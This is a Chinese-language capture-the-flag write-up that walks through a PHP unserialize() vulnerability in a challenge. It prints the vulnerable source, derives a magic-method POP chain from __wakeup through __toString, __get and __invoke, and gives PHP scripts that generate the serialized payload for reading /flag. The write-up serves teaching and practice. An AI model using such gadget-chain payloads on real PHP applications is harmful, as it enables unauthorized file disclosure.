zoey

谷歌浏览器可正常显示图片

0%

强网先锋(赌徒)

扫描目录发现有www.zip文件,得到源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);


class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';

public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}

public function _sayhello(){
echo $this->name;
return 'ok';
}

public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}

class Info
{
private $phonenumber=123123;
public $promise='I do';

public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}

public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}

class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';

public function __get($name){
$function = $this->a;
return $function();
}

public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}

public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
}

if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$hi = new Start();
}

?>

$this->flag

复习代码,发现

1
2
3
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;

由于$flag='syst3m("cat 127.0.0.1/etc/hint");';

一开始的想法是触发这个__get魔术方法

当程序试图调用一个未定义或不可见的成员变量时,可以通过get()方法来读取变量值。__get()方法有一个参数,表示要调用的变量名。

刚才代码,发现可以利用这个方法

1
2
3
public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}

因为ffiillee[‘ffiilleennaammee’]是一个不存在的成员变量

现在的问题又变成如何调用__toString()这个方法

当我们使用 echo 语句输出一个对象时,会自动检查一个对象有没有定义 _toString() 方法,如果定义了,就会输出 __toString() 方法的返回值,如果没有定义,那么会直接抛出一个异常,表明该对象不能直接转换为字符串。

也就是当echo一个对象时,就会调用__tostring()这个魔术方法。观察代码,发现可以利用

1
2
3
4
5
6
7
8
9
public function _sayhello(){
echo $this->name;
return 'ok';
}

public function __wakeup(){
echo "hi";
$this->_sayhello();
}

我们只要让$this->name等于一个对象,且触发_sayhello()这个方法,而触发__wakeup()就会触发

_sayhello这个方法。

当使用 unserialize() 反序列化一个对象成功后,会自动调用该对象的 __wakup() 魔术方法。

整理一下思路

1
2
3
4
__wakeup
_sayhello
__tostring
__get

编写代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class Start
{
public $name;
public $flag="print(aaa)";
public function __construct($a){
$this->name=$a;
}
}
class Info
{
public $file;
public function __construct($w){
$this->file['filename']=$w;
}
}

$a=new Start();
$b=new Info($a);
$c=new Start($b);
echo serialize($c);
?>

file_get_contents($file)

1
2
3
4
5
6
7
8
9
10
11
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}

public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}

我们只要调用这个函数,就可以实现文件包含漏洞。

这里首先需要执行这个函数,查看代码,发现只有触发__invoke的魔术方法,就可以执行Get_hint 函数。

接下来就是想办法触发这个魔术方法,

还有使$file=’/flag’或者$file=’/flag.php’等等。

也就是$this->filename需要等于’/flag.php’,而$filename刚好是我们可以控制的,所以最重要的就是触发__invoke这个魔术方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class Info{
public $a;
}
class Room{
public $filename='/flag';
public $sth_to_set;
public $a='';
public function __construct(){
$a=new Info();
$a();//一开始的想法就是通过直接
}
}
$a= new Room();
echo urlencode(serialize($a));

?>

一开始想着是在类里面触发__invoke()这个魔术方法,发现行不通,会报错

借助下面这个代码来了解__invoke()这个函数

__invoke()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
show_source(__FILE__);
class A{
public $file;
public $function;

function __invoke()
{
echo "__invoke";
return file_get_contents($this->file);
}
}

class B{
public $function;
//当类需要被删除或者销毁这个类的时候自动加载——destruct()
function __destruct()
{
echo "__destruct";
echo ($this->function)(); //相等于new A();触发__invoke方法。
}
}

@unserialize($_GET['payload']);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class A{
public $file='flag';
public $function;
}

class B{
public $function;
}

$tr = new A();
$sr = new B();
$sr->function = $tr;//这里$sr->function指向了$tr(A的实例化对象)
echo serialize($sr);

到这里发现,如果类里面存在类似($this->function)()的形式,就能利用它触发__invoke这个函数。

观察这道题的源码

1
2
3
4
5
6
7
8
9
10
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';

public function __get($name){
$function = $this->a;
return $function();
}

发现Room类里面的__get方法满足这个形式。现在的问题变成我们要让$function指向一个类,就可以并且触发

__get方法。而如果去触发

__get方法,我们在一开始有提到。

1
2
3
4
__wakeup
_sayhello
_tostring
__get

而当使用 unserialize() 反序列化一个对象成功后,会自动调用该对象的 __wakeup() 魔术方法。

整理一下思路

1
2
3
4
5
6
__wakeup   //反序列化
_sayhello //echo一个对象
__tostring //$this->file['filename']->ffiillee['ffiilleennaammee'];访问不存在的成员变量
__get //触发__invoke魔术方法
__invoke // 调用Get_hint方法
Get_hint($file) //文件包含漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class Start
{
public $name;
public function __construct($a){
$this->name=$a;
}
}
class Info
{
public $file;
public function __construct($b){
$this->file['filename']=$b;
}
}
class Room
{
public $filename="/flag";
public $a;
public function w(){
$this->a=new Room();
}
}
$a=new Room();
$a->w();
$b=new Info($a);
$c=new Start($b);
echo serialize($c);
?>